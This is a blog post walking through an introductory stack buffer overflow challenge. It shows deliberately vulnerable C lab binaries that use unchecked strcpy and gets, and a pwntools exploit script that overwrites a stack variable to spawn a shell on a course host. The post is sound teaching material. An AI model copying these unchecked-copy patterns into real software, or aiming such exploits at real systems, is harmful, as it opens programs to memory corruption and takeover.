Simple buffer overflow: Part 1

April 22, 2017

Walkthrough of an introductory buffer overflow challenge.

Fundamentals of Buffer Overflows

This series will explain the fundamentals of a buffer overflow exploit, using 3 intentionally vulnerable elf binaries taken from a modern binary exploitation course devised by a US university. These binaries, and their execution environments, have no modern exploit mitigation techniques enabled.

This post will assume some working knowledge of the stack, C and linux executables.

Smashing the stack. What is a buffer overflow?

smash the stack [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw.

From http://insecure.org/stf/smashstack.html Aleph One’s seminal paper “Smashing the stack for fun and profit”

As described by Aleph One, a buffer overflow can occur when arbitrary amounts of data are read into a buffer, reading beyond the buffer’s capacity.

A common example is the following C code:

int main(int argc, char **argv) {
  char buffer[64];
  gets(buffer);
}

This snippet shows the use of the vulnerable gets() function. gets() offers no bounds checking, and so data will be read from stdin unchecked. Sending a string of length > 64 will overwrite the buffer, and start interfering the with stack.

Binary 1:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2C.c -o lab2C
 */

void shell()
{
	printf("You did it.\n");
	system("/bin/sh");
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	int set_me = 0;
	char buf[15];
	strcpy(buf, argv[1]);

	if(set_me == 0xdeadbeef)
	{
		shell();
	}
	else
	{
		printf("Not authenticated.\nset_me was %d\n", set_me);
	}

	return EXIT_SUCCESS;
}

Successfully exploiting this code will demonstrate how values on the stack can be overwritten by a buffer overflow, when no mitigations are present.

The program works by reading user input into a buffer buf[], using the unchecked strcpy() function, which has the same flaw as gets(). The program logic shows that if the int value of the “set_me” variable is set to the hex value 0xdeadbeef, the shell() function will be executed. The shell() function then drops us into a shell by executing system(“/bin/sh”).

Using our knowledge of the stack, we can quickly see that if we overwrite the buffer, we can set the value of “set_me”, which should be allocated directly below the buffer on the stack. This can also be verified by opening the executable in a debugger such as gdb, which we’ll see later with more complicated exploits.

Here is a Python script using the pwntools library that will interact with this binary and send the exploit. Using pwntools is overkill for a task as simple as this, but it is a great tool to get familiar with, and will be very useful for more complicated exploits later on.

from pwn import *

lab = 'lab2C'
password = 'lab02start'
remotebinary = '/levels/lab0%s/%s' % (lab[3], lab)

shell = ssh(host='mbe',user=lab,password=password)

#Exploit
padding = "A"*15
pwn = p32(0xdeadbeef)

print '# Sending'
p = shell.process([remotebinary, padding+pwn])
p.interactive()

The script will send 15 “A” characters to fill up the buffer. Then “0xdeadbeef” will follow, overwriting the variable.

The line p32(0xdeadbeef) is worth paying attention to. Values are stored in the stack in little endian format. In little endian format, the lower significant bytes are stored in the lower addresses. So “0xdeadbeef” will actually be stored as “\xef\xbe\xad\xde”. The function p32() provided by pwntools neatly does this for us.

The following code using python struct will achieve the same thing, and is also commonly used:

import struct

value = struct.pack("I", 0xdeadbeef)

Executing the script will send the exploit, overwriting the value of “set_me”. When the if condition is evaluated, we are dropped into a shell. :-) Stack == smashed.

Next post

Next post we will look at solving the following, slightly more complicated (though still very simple) binary, which will involve overwriting the return address of a function. This is a key concept that once understood, opens up many more possibilities.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2B.c -o lab2B
 */

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
	system(cmd);
}

void print_name(char* input)
{
	char buf[15];
	strcpy(buf, input);
	printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	print_name(argv[1]);

	return EXIT_SUCCESS;
}